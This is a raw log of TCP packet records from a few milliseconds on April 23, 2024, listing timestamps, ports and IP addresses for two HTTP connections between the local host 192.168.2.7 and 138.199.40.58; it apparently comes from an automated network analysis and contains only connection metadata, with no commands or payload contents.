Apr 23, 2024 08:39:58.642605066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.642611027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.642664909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.643237114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643311024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643331051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.643352032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643412113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643434048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.643503904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643522024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643537998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643556118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643573046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643574953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.643588066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643604994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643609047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.643620968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.643640995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.643841028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.644323111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644398928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644419909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.644537926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644601107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644624949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.644665003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644709110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644712925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.644740105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644814014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644875050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644900084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.644942999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.644994020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.645014048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.645097971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.645173073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.645200014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.645267963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.645286083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.645304918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.645452976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.645646095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.645693064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.645764112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.645785093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.645838022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646001101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646022081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646044016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.646095037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646115065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.646142960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646226883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646245956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.646311998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646317005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.646387100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646415949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.646464109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646486998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.646534920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646558046 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.646605968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646676064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646699905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.646748066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646864891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.646953106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647020102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647052050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647073030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647093058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647116899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647150993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647171974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647198915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647219896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647253990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647325993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647384882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647407055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647437096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647460938 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647495031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647536039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647599936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647624969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647697926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647720098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647742033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647792101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647871017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647891998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.647891998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647913933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.647948980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648017883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648073912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648096085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.648147106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.648327112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648399115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648503065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648551941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648613930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648637056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.648669004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648690939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.648772955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648838997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.648886919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.648889065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.648988008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.649137974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.649177074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.649199963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.649292946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.649513006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.649606943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.649635077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.649810076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.649853945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.649877071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.649930000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650202036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650279999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650302887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.650355101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650377035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.650394917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650415897 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.650561094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650677919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.650707960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650819063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650897026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.650918961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.650964975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651014090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651058912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651079893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.651103973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651176929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651263952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651288033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.651338100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651360035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.651407957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651429892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.651559114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651580095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651638031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651662111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.651745081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.651846886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.651982069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652137041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652177095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652200937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.652254105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652337074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.652399063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652445078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652522087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652544022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.652717113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652739048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.652800083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652903080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652924061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.652925968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.652995110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653018951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.653047085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653126001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653203011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653259039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653280973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653284073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.653302908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.653358936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653480053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.653531075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653615952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653636932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653683901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.653683901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.653752089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653832912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653909922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.653920889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.653968096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654051065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654129028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654150009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654154062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.654225111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654248953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.654279947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654364109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654408932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654412985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.654416084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.654448032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654516935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654572010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654594898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.654609919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654634953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.654668093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654781103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654819965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654840946 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.654865026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654968023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.654993057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.655044079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655147076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655169964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.655282974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.655363083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655427933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655529022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655553102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.655582905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655622959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.655669928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655879021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655949116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.655994892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656016111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656017065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.656056881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656097889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656130075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.656162024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656187057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.656202078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656225920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.656272888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656294107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656356096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.656385899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656480074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656555891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656578064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.656658888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656730890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656742096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.656789064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656836987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656858921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.656888962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656961918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.656985044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.657001019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657053947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657077074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.657126904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657151937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.657314062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657373905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657402039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.657474995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657579899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657669067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.657851934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657912016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657938957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.657988071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.657988071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.658080101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658140898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658204079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658225060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.658272982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658328056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658351898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.658401012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658535004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658540964 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.658588886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658674955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658696890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.658726931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658802032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658823967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.658854008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.658972979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.659020901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.659043074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.659090996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.659116030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.659477949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.659647942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.659672022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.659702063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.659785986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.660149097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664191008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664251089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664273977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664294004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664314032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664313078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664335012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664355993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664361954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664376020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664396048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664398909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664414883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664434910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664454937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664455891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664475918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664478064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664498091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664516926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664519072 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664537907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664557934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664558887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664578915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664598942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664599895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.664619923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664638996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664660931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.664661884 CEST	49704	80	192.168.2.7	138.199.40.58
